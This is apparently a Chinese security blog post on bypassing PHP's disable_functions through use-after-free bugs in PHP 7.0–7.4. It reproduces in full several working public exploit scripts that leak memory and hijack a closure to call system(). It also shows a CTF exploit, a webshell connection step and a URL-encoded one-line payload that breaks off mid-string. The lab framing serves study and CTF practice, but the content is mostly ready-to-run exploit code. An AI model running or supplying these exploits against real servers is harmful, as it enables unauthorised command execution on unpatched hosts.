<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    突破disable_functions限制執行命令·下

    VSole2022-01-19 08:27:30

    利用UAF漏洞UAF漏洞(Use-After-Free)是一種內存破壞漏洞,漏洞成因是一塊堆內存被釋放了之后又被使用。又被使用指的是:指針存在(懸垂指針被引用)。這個引用的結果是不可預測的,因為不知道會發生什么。由于大多數的堆內存其實都是C++對象,所以利用的核心思路就是分配堆去占坑,占的坑中有自己構造的虛表。

    懸垂指針:懸垂指針是指一類不指向任何合法的或者有效的(即與指針的含義不符)的對象的指針。比如一個對象的指針,如果這個對象已經被釋放或者回收但是指針沒有進行任何的修改仍然執行已被釋放的內存,這個指針就叫做懸垂指針。

    由于本人對PWN這塊并不了解,對這些漏洞只是一知半解,所以也僅僅講如何使用大佬的EXP直接利用了

    Json Serializer UAF

    漏洞簡介

    此漏洞利用json序列化程序中的釋放后使用漏洞,利用json序列化程序中的堆溢出觸發,以繞過disable_functions和執行系統命令。盡管不能保證成功,但它應該相當可靠的在所有服務器 api上使用。

    漏洞細節:https://bugs.php.net/bug.php?id=72530

    漏洞利用條件

    ?Linux 操作系統

    ?PHP 版本

    ?7.1 - all versions to date

    ?7.2 < 7.2.19 (released: 30 May 2019)

    ?7.3 < 7.3.6 (released: 30 May 2019)

    靶場環境

    項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/6

    靶場突破

    除了蟻劍的擴展插件,還可以使用國外大佬mm0r1寫的EXP:

    https://github.com/mm0r1/exploits/tree/master/php-json-bypass

    <?php
    
    $cmd = "tac /flag";        // 可替換成需要執行的命令
    
    $n_alloc = 10; # increase this value if you get segfaults
    
    class MySplFixedArray extends SplFixedArray {
        public static $leak;
    }
    
    class Z implements JsonSerializable {
        public function write(&$str, $p, $v, $n = 8) {
          $i = 0;
          for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
          }
        }
    
        public function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }
    
        public function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
            }
            return $out;
        }
    
        # unable to leak ro segments
        public function leak1($addr) {
            global $spl1;
    
            $this->write($this->abc, 8, $addr - 0x10);
            return strlen(get_class($spl1));
        }
    
        # the real deal
        public function leak2($addr, $p = 0, $s = 8) {
            global $spl1, $fake_tbl_off;
    
            # fake reference zval
            $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
            $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
            $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
    
            $leak = strlen($spl1::$leak);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    
            return $leak;
        }
    
        public function parse_elf($base) {
            $e_type = $this->leak2($base, 0x10, 2);
    
            $e_phoff = $this->leak2($base, 0x20);
            $e_phentsize = $this->leak2($base, 0x36, 2);
            $e_phnum = $this->leak2($base, 0x38, 2);
    
            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = $this->leak2($header, 0, 4);
                $p_flags = $this->leak2($header, 4, 4);
                $p_vaddr = $this->leak2($header, 0x10);
                $p_memsz = $this->leak2($header, 0x28);
    
                if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                    # handle pie
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                    $text_size = $p_memsz;
                }
            }
    
            if(!$data_addr || !$text_size || !$data_size)
                return false;
    
            return [$data_addr, $text_size, $data_size];
        }
    
        public function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = $this->leak2($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = $this->leak2($leak);
                    # 'constant' constant check
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;
    
                $leak = $this->leak2($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = $this->leak2($leak);
                    # 'bin2hex' constant check
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;
    
                return $data_addr + $i * 8;
            }
        }
    
        public function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = $this->leak2($addr, 0, 7);
                if($leak == 0x10102464c457f) { # ELF header
                    return $addr;
                }
            }
        }
    
        public function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = $this->leak2($addr);
                $f_name = $this->leak2($f_entry, 0, 6);
    
                if($f_name == 0x6d6574737973) { # system
                    return $this->leak2($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }
    
        public function jsonSerialize() {
            global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
    
            $contiguous = [];
            for($i = 0; $i < $n_alloc; $i++)
                $contiguous[] = new DateInterval('PT1S');
    
            $room = [];
            for($i = 0; $i < $n_alloc; $i++)
                $room[] = new Z();
    
            $_protector = $this->ptr2str(0, 78);
    
            $this->abc = $this->ptr2str(0, 79);
            $p = new DateInterval('PT1S');
    
            unset($y[0]);
            unset($p);
    
            $protector = ".$_protector";
    
            $x = new DateInterval('PT1S');
            $x->d = 0x2000;
            $x->h = 0xdeadbeef;
            # $this->abc is now of size 0x2000
    
            if($this->str2ptr($this->abc) != 0xdeadbeef) {
                die('UAF failed.');
            }
    
            $spl1 = new MySplFixedArray();
            $spl2 = new MySplFixedArray();
    
            # some leaks
            $class_entry = $this->str2ptr($this->abc, 0x120);
            $handlers = $this->str2ptr($this->abc, 0x128);
            $php_heap = $this->str2ptr($this->abc, 0x1a8);
            $abc_addr = $php_heap - 0x218;
    
            # create a fake class_entry
            $fake_obj = $abc_addr;
            $this->write($this->abc, 0, 2); # type
            $this->write($this->abc, 0x120, $abc_addr); # fake class_entry
    
            # copy some of class_entry definition
            for($i = 0; $i < 16; $i++) {
                $this->write($this->abc, 0x10 + $i * 8, 
                    $this->leak1($class_entry + 0x10 + $i * 8));
            }
    
            # fake static members table
            $fake_tbl_off = 0x70 * 4 - 16;
            $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
            $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
    
            # fake zval_reference
            $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
            $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
    
            # look for binary base
            $binary_leak = $this->leak2($handlers + 0x10);
            if(!($base = $this->get_binary_base($binary_leak))) {
                die("Couldn't determine binary base address");
            }
    
            # parse elf header
            if(!($elf = $this->parse_elf($base))) {
                die("Couldn't parse ELF");
            }
    
            # get basic_functions address
            if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
                die("Couldn't get basic_functions address");
            }
    
            # find system entry
            if(!($zif_system = $this->get_system($basic_funcs))) {
                die("Couldn't get zif_system address");
            }
            
            # copy hashtable offsetGet bucket
            $fake_bkt_off = 0x70 * 5 - 16;
    
            $function_data = $this->str2ptr($this->abc, 0x50);
            for($i = 0; $i < 4; $i++) {
                $this->write($this->abc, $fake_bkt_off + $i * 8, 
                    $this->leak2($function_data + 0x40 * 4, $i * 8));
            }
    
            # create a fake bucket
            $fake_bkt_addr = $abc_addr + $fake_bkt_off;
            $this->write($this->abc, 0x50, $fake_bkt_addr);
            for($i = 0; $i < 3; $i++) {
                $this->write($this->abc, 0x58 + $i * 4, 1, 4);
            }
    
            # copy bucket zval
            $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
            for($i = 0; $i < 12; $i++) {
                $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                    $this->leak2($function_zval, $i * 8));
            }
    
            # pwn
            $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
            $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
    
            $spl1->offsetGet($cmd);
    
            exit();
        }
    }
    
    $y = [new Z()];
    json_encode([&$y]);
    

    直接訪問即可執行命令。

    PHP7 GC with Certain Destructors UAF

    漏洞簡介

    此漏洞利用PHP垃圾收集器(garbage collector)中存在三年的一個 bug,通過PHP垃圾收集器中堆溢出來繞過disable_functions并執行系統命令。

    漏洞細節:https://bugs.php.net/bug.php?id=72530

    漏洞利用條件

    ?Linux 操作系統

    ?PHP 版本

    ?7.0 - all versions to date

    ?7.1 - all versions to date

    ?7.2 - all versions to date

    ?7.3 - all versions to date

    靶場環境

    項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/7

    靶場突破

    除了蟻劍的擴展插件,還可以使用國外大佬mm0r1寫的EXP:

    https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

    <?php
    
    # PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
    #
    # Bug: https://bugs.php.net/bug.php?id=72530
    #
    # This exploit should work on all PHP 7.0-7.3 versions
    #
    # Author: https://github.com/mm0r1
    
    pwn("tac /flag");            // 可替換成需要執行的命令
    
    function pwn($cmd) {
        global $abc, $helper;
    
        function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }
    
        function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
            }
            return $out;
        }
    
        function write(&$str, $p, $v, $n = 8) {
            $i = 0;
            for($i = 0; $i < $n; $i++) {
                $str[$p + $i] = chr($v & 0xff);
                $v >>= 8;
            }
        }
    
        function leak($addr, $p = 0, $s = 8) {
            global $abc, $helper;
            write($abc, 0x68, $addr + $p - 0x10);
            $leak = strlen($helper->a);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
            return $leak;
        }
    
        function parse_elf($base) {
            $e_type = leak($base, 0x10, 2);
    
            $e_phoff = leak($base, 0x20);
            $e_phentsize = leak($base, 0x36, 2);
            $e_phnum = leak($base, 0x38, 2);
    
            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = leak($header, 0, 4);
                $p_flags = leak($header, 4, 4);
                $p_vaddr = leak($header, 0x10);
                $p_memsz = leak($header, 0x28);
    
                if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                    # handle pie
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                    $text_size = $p_memsz;
                }
            }
    
            if(!$data_addr || !$text_size || !$data_size)
                return false;
    
            return [$data_addr, $text_size, $data_size];
        }
    
        function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = leak($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    # 'constant' constant check
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;
    
                $leak = leak($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    # 'bin2hex' constant check
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;
    
                return $data_addr + $i * 8;
            }
        }
    
        function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = leak($addr, 0, 7);
                if($leak == 0x10102464c457f) { # ELF header
                    return $addr;
                }
            }
        }
    
        function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = leak($addr);
                $f_name = leak($f_entry, 0, 6);
    
                if($f_name == 0x6d6574737973) { # system
                    return leak($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }
    
        class ryat {
            var $ryat;
            var $chtg;
            
            function __destruct()
            {
                $this->chtg = $this->ryat;
                $this->ryat = 1;
            }
        }
    
        class Helper {
            public $a, $b, $c, $d;
        }
    
        if(stristr(PHP_OS, 'WIN')) {
            die('This PoC is for *nix systems only.');
        }
    
        $n_alloc = 10; # increase this value if you get segfaults
    
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = str_repeat('A', 79);
    
        $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
        $out = unserialize($poc);
        gc_collect_cycles();
    
        $v = [];
        $v[0] = ptr2str(0, 79);
        unset($v);
        $abc = $out[2][0];
    
        $helper = new Helper;
        $helper->b = function ($x) { };
    
        if(strlen($abc) == 79 || strlen($abc) == 0) {
            die("UAF failed");
        }
    
        # leaks
        $closure_handlers = str2ptr($abc, 0);
        $php_heap = str2ptr($abc, 0x58);
        $abc_addr = $php_heap - 0xc8;
    
        # fake value
        write($abc, 0x60, 2);
        write($abc, 0x70, 6);
    
        # fake reference
        write($abc, 0x10, $abc_addr + 0x60);
        write($abc, 0x18, 0xa);
    
        $closure_obj = str2ptr($abc, 0x20);
    
        $binary_leak = leak($closure_handlers, 8);
        if(!($base = get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
    
        if(!($elf = parse_elf($base))) {
            die("Couldn't parse ELF header");
        }
    
        if(!($basic_funcs = get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }
    
        if(!($zif_system = get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
    
        # fake closure object
        $fake_obj_offset = 0xd0;
        for($i = 0; $i < 0x110; $i += 8) {
            write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
        }
    
        # pwn
        write($abc, 0x20, $abc_addr + $fake_obj_offset);
        write($abc, 0xd0 + 0x38, 1, 4); # internal func type
        write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    
        ($helper->b)($cmd);
    
        exit();
    }
    

    直接訪問即可執行命令。

    PHP7 Backtrace UAF

    漏洞簡介

    該漏洞利用在debug_backtrace()函數中使用了兩年的一個 bug。我們可以誘使它返回對已被破壞的變量的引用,從而導致釋放后使用漏洞。

    漏洞細節:https://bugs.php.net/bug.php?id=76047

    漏洞利用條件

    ?Linux 操作系統

    ?PHP 版本

    ?7.0 - all versions to date

    ?7.1 - all versions to date

    ?7.2 - all versions to date

    ?7.3 < 7.3.15 (released 20 Feb 2020)

    ?7.4 < 7.4.3 (released 20 Feb 2020)

    靶場環境

    CTFHub:https://www.ctfhub.com/#/skilltree

    靶場位置:CTFHub-技能樹-Web-Web進階-PHP-Bypass disable_functions-Backtrace UAF

    靶場突破

    除了蟻劍的擴展插件,還可以使用國外大佬mm0r1寫的EXP:

    https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

    <?php
    
    # PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
    #
    # Bug: https://bugs.php.net/bug.php?id=76047
    # debug_backtrace() returns a reference to a variable 
    # that has been destroyed, causing a UAF vulnerability.
    #
    # This exploit should work on all PHP 7.0-7.4 versions
    # released as of 30/01/2020.
    #
    # Author: https://github.com/mm0r1
    
    pwn("tac /flag");            // 可替換成需要執行的命令
    
    function pwn($cmd) {
        global $abc, $helper, $backtrace;
    
        class Vuln {
            public $a;
            public function __destruct() { 
                global $backtrace; 
                unset($this->a);
                $backtrace = (new Exception)->getTrace(); # ;)
                if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                    $backtrace = debug_backtrace();
                }
            }
        }
    
        class Helper {
            public $a, $b, $c, $d;
        }
    
        function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }
    
        function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
            }
            return $out;
        }
    
        function write(&$str, $p, $v, $n = 8) {
            $i = 0;
            for($i = 0; $i < $n; $i++) {
                $str[$p + $i] = chr($v & 0xff);
                $v >>= 8;
            }
        }
    
        function leak($addr, $p = 0, $s = 8) {
            global $abc, $helper;
            write($abc, 0x68, $addr + $p - 0x10);
            $leak = strlen($helper->a);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
            return $leak;
        }
    
        function parse_elf($base) {
            $e_type = leak($base, 0x10, 2);
    
            $e_phoff = leak($base, 0x20);
            $e_phentsize = leak($base, 0x36, 2);
            $e_phnum = leak($base, 0x38, 2);
    
            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = leak($header, 0, 4);
                $p_flags = leak($header, 4, 4);
                $p_vaddr = leak($header, 0x10);
                $p_memsz = leak($header, 0x28);
    
                if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                    # handle pie
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                    $text_size = $p_memsz;
                }
            }
    
            if(!$data_addr || !$text_size || !$data_size)
                return false;
    
            return [$data_addr, $text_size, $data_size];
        }
    
        function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = leak($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    # 'constant' constant check
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;
    
                $leak = leak($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    # 'bin2hex' constant check
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;
    
                return $data_addr + $i * 8;
            }
        }
    
        function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = leak($addr, 0, 7);
                if($leak == 0x10102464c457f) { # ELF header
                    return $addr;
                }
            }
        }
    
        function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = leak($addr);
                $f_name = leak($f_entry, 0, 6);
    
                if($f_name == 0x6d6574737973) { # system
                    return leak($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }
    
        function trigger_uaf($arg) {
            # str_shuffle prevents opcache string interning
            $arg = str_shuffle(str_repeat('A', 79));
            $vuln = new Vuln();
            $vuln->a = $arg;
        }
    
        if(stristr(PHP_OS, 'WIN')) {
            die('This PoC is for *nix systems only.');
        }
    
        $n_alloc = 10; # increase this value if UAF fails
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = str_shuffle(str_repeat('A', 79));
    
        trigger_uaf('x');
        $abc = $backtrace[1]['args'][0];
    
        $helper = new Helper;
        $helper->b = function ($x) { };
    
        if(strlen($abc) == 79 || strlen($abc) == 0) {
            die("UAF failed");
        }
    
        # leaks
        $closure_handlers = str2ptr($abc, 0);
        $php_heap = str2ptr($abc, 0x58);
        $abc_addr = $php_heap - 0xc8;
    
        # fake value
        write($abc, 0x60, 2);
        write($abc, 0x70, 6);
    
        # fake reference
        write($abc, 0x10, $abc_addr + 0x60);
        write($abc, 0x18, 0xa);
    
        $closure_obj = str2ptr($abc, 0x20);
    
        $binary_leak = leak($closure_handlers, 8);
        if(!($base = get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
    
        if(!($elf = parse_elf($base))) {
            die("Couldn't parse ELF header");
        }
    
        if(!($basic_funcs = get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }
    
        if(!($zif_system = get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
    
        # fake closure object
        $fake_obj_offset = 0xd0;
        for($i = 0; $i < 0x110; $i += 8) {
            write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
        }
    
        # pwn
        write($abc, 0x20, $abc_addr + $fake_obj_offset);
        write($abc, 0xd0 + 0x38, 1, 4); # internal func type
        write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    
        ($helper->b)($cmd);
        exit();
    }
    

    直接訪問即可執行命令。

    PHP7 ReflectionProperty UAF

    漏洞簡介

    PHP在創建ReflectionProperty 類之后,使用$rp->getType()->getName() 這個調用指向的是一個已經被 free 的內存地址,便可以觸發UAF。

    漏洞細節:https://bugs.php.net/bug.php?id=79820

    漏洞利用條件

    ?Linux 操作系統

    ?PHP 版本:7.4 <= 7.4.8

    靶場環境

    羊城杯CTF-Break_The_Wall:

    https://github.com/gwht/2020YCBCTF/blob/main/wp/web/break_the_wall/break_the_wall.tar.gz

    靶場突破

    訪問靶場地址:

    image-20220110002930565

    十分明顯的一個一句話木馬,不過要想蟻劍去連接還需要構造一下payload:

    image-20220110003146545

    但連接后才發現沒有任何權限


    image-20220110003329883

    這就只能對WebShell上進行代碼執行,觸發UAF了

    直接放出官方的EXP,具體的解題思路請查看官方的WP:

    <?php
    global $abc, $helper;
    class Test {
    public HelperHelperHelperHelperHelperHelperHelper $prop;
    }
    class HelperHelperHelperHelperHelperHelperHelper {
    public $a, $b;
    },
    function s2n($str) {
    $address = 0;
    for ($i=0;$i<4;$i++){
    $address <<= 8;
    $address |= ord($str[4 + $i]);
    }
    return $address;
    }
    function s2b($str, $offset){
    return hex2bin(str_pad(dechex(s2n($str) + $offset - 0x10), 8, "0",
    STR_PAD_LEFT));
    }
    function leak($offset) {
    global $abc;
    $data = "";
    for ($i = 0;$i < 8;$i++){
    $data .= $abc[$offset + 7 - $i];
    }
    return $data;
    }
    function leak2($address) {
    global $helper;
    write(0x20, $address);
    $leak = strlen($helper->b);
    $leak = dechex($leak);
    $leak = str_pad($leak, 16, "0", STR_PAD_LEFT);
    $leak = hex2bin($leak);
    return $leak;
    }
    function write($offset, $data) {
    global $abc;
    $data = str_pad($data, 8, "\x00", STR_PAD_LEFT);
    for ($i = 0;$i < 8;$i++){
    $abc[$offset + $i] = $data[7 - $i];
    }
    }
    function get_basic_funcs($std_object_handlers) {
    $prefix = substr($std_object_handlers, 0, 4);
    $std_object_handlers = hexdec(bin2hex($std_object_handlers));
    $start = $std_object_handlers & 0x00000000fffff000 | 0x0000000000000920; # change 0x920 if finding failed
    $NumPrefix = $std_object_handlers & 0x0000ffffff000000;
    $NumPrefix = $NumPrefix - 0x0000000001000000;
    $funcs = get_defined_functions()['internal'];
    for($i = 0; $i < 0x1000; $i++) {
    $addr = $start - 0x1000 * $i;
    $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
    "0", STR_PAD_LEFT))));
    if (hexdec($name_addr) > $std_object_handlers || hexdec($name_addr) < $NumPrefix)
    {
    continue;
    }
    $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
    $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
    $name = explode("\x00", $name)[0];
    if(in_array($name, $funcs)) {
    return [$name, bin2hex($prefix) . str_pad(dechex($addr), 8, "0", STR_PAD_LEFT),
    $std_object_handlers, $NumPrefix];
    }
    }
    }
    function getSystem($unknown_func) {
    $unknown_addr = hex2bin($unknown_func[1]);
    $prefix = substr($unknown_addr, 0, 4);
    $unknown_addr = hexdec($unknown_func[1]);
    $start = $unknown_addr & 0x00000000ffffffff;
    for($i = 0;$i < 0x800;$i++) {
    $addr = $start - 0x20 * $i;
    $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
    "0", STR_PAD_LEFT))));
    if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
    $unknown_func[3]) {
    continue;
    }
    $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
    $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
    if(strstr($name, "system")) {
    return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
    "0", STR_PAD_LEFT))));
    }
    }
    for($i = 0;$i < 0x800;$i++) {
    $addr = $start + 0x20 * $i;
    $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
    "0", STR_PAD_LEFT))));
    if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
    $unknown_func[3]) {
    continue;
    }
    $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
    $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
    if(strstr($name, "system")) {
    return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
    "0", STR_PAD_LEFT))));
    }
    }
    }
    $rp = new ReflectionProperty(Test::class, 'prop');
    $test = new Test;
    $test -> prop = new HelperHelperHelperHelperHelperHelperHelper;
    $abc = $rp -> getType() -> getName();
    $helper = new HelperHelperHelperHelperHelperHelperHelper();
    if (strlen($abc) < 1000) {
    exit("UAF Failed!");
    }
    $helper -> a = $helper;
    $php_heap = leak(0x10);
    $helper -> a = function($x){};
    $std_object_handlers = leak(0x0);
    $prefix = substr($php_heap, 0, 4);
    echo "Helper Object Address: " . bin2hex($php_heap) . "\n";
    echo "std_object_handlers Address: " . bin2hex($std_object_handlers) . "\n";
    $closure_object = leak(0x10);
    echo "Closure Object: " . bin2hex($closure_object) . "\n";
    write(0x28, "\x06");
    if(!($unknown_func = get_basic_funcs($std_object_handlers))) {
    die("Couldn't determine funcs address");
    }
    echo "Find func's adress: " . $unknown_func[1] . " -> " . $unknown_func[0] . "\n";
    if(!($system_address = getSystem($unknown_func))) {
    die("Couldn't determine system address");
    }
    //echo "Find system's handler: " . $system_address . "\n";
    for ($i = 0;$i < (0x130 / 0x08);$i++) {
    write(0x308 + 0x08 * ($i + 1), leak2($prefix . s2b($closure_object, 0x08 *
    $i)));
    }
    $abc[0x308 + 0x40] = "\x01";
    write(0x308 + 0x70, hex2bin($system_address));
    write(0x10, $prefix . hex2bin(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08)));
    echo "Fake Closure Object Address: " . bin2hex($prefix .
    hex2bin(str_pad(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08), 8, "0",
    STR_PAD_LEFT))) . "\n";
    ($helper -> a)("/readflag");    // 需要執行的命令
    

    我們需要對其中用于測試的echo代碼注釋或刪除掉,再將代碼部分進行URL編碼(一定要編碼成一行):

    global%20%24abc%2C%20%24helper%3B%0Aclass%20Test%20%7B%0Apublic%20HelperHelperHelperHelperHelperHelperHelper%20%24prop%3B%0A%7D%0Aclass%20HelperHelperHelperHelperHelperHelperHelper%20%7B%0Apublic%20%24a%2C%20%24b%3B%0A%7D%0Afunction%20s2n(%24str)%20%7B%0A%24address%20%3D%200%3B%0Afor%20(%24i%3D0%3B%24i%3C4%3B%24i%2B%2B)%7B%0A%24address%20%3C%3C%3D%208%3B%0A%24address%20%7C%3D%20ord(%24str%5B4%20%2B%20%24i%5D)%3B%0A%7D%0Areturn%20%24address%3B%0A%7D%0Afunction%20s2b(%24str%2C%20%24offset)%7B%0Areturn%20hex2bin(str_pad(dechex(s2n(%24str)%20%2B%20%24offset%20-%200x10)%2C%208%2C%20%220%22%2C%0ASTR_PAD_LEFT))%3B%0A%7D%0Afunction%20leak(%24offset)%20%7B%0Aglobal%20%24abc%3B%0A%24data%20%3D%20%22%22%3B%0Afor%20(%24i%20%3D%200%3B%24i%20%3C%208%3B%24i%2B%2B)%7B%0A%24data%20.%3D%20%24abc%5B%24offset%20%2B%207%20-%20%24i%5D%3B%0A%7D%0Areturn%20%24data%3B%0A%7D%0Afunction%20leak2(%24address)%20%7B%0Aglobal%20%24helper%3B%0Awrite(0x20%2C%20%24address)%3B%0A%24leak%20%3D%20strlen(%24helper-%3Eb)%3B%0A%24leak%20%3D%20dechex(%24leak)%3B%0A%24leak%20%3D%20str_pad(%24leak%2C%2016%2C%20%220%22%2C%20STR_PAD_LEFT)%3B%0A%24leak%20%3D%20hex2bin(%24leak)%3B%0Areturn%20%24leak%3B%0A%7D%0Afunction%20write(%24offset%2C%20%24data)%20%7B%0Aglobal%20%24abc%3B%0A%24data%20%3D%20str_pad(%24data%2C%208%2C%20%22%5Cx00%22%2C%20STR_PAD_LEFT)%3B%0Afor%20(%24i%20%3D%200%3B%24i%20%3C%208%3B%24i%2B%2B)%7B%0A%24abc%5B%24offset%20%2B%20%24i%5D%20%3D%20%24data%5B7%20-%20%24i%5D%3B%0A%7D%0A%7D%0Afunction%20get_basic_funcs(%24std_object_handlers)%20%7B%0A%24prefix%20%3D%20substr(%24std_object_handlers%2C%200%2C%204)%3B%0A%24std_object_handlers%20%3D%20hexdec(bin2hex(%24std_object_handlers))%3B%0A%24start%20%3D%20%24std_object_handlers%20%26%200x00000000fffff000%20%7C%200x0000000000000920%3B%20%23%20change%200x920%20if%20finding%20failed%0A%24NumPrefix%20%3D%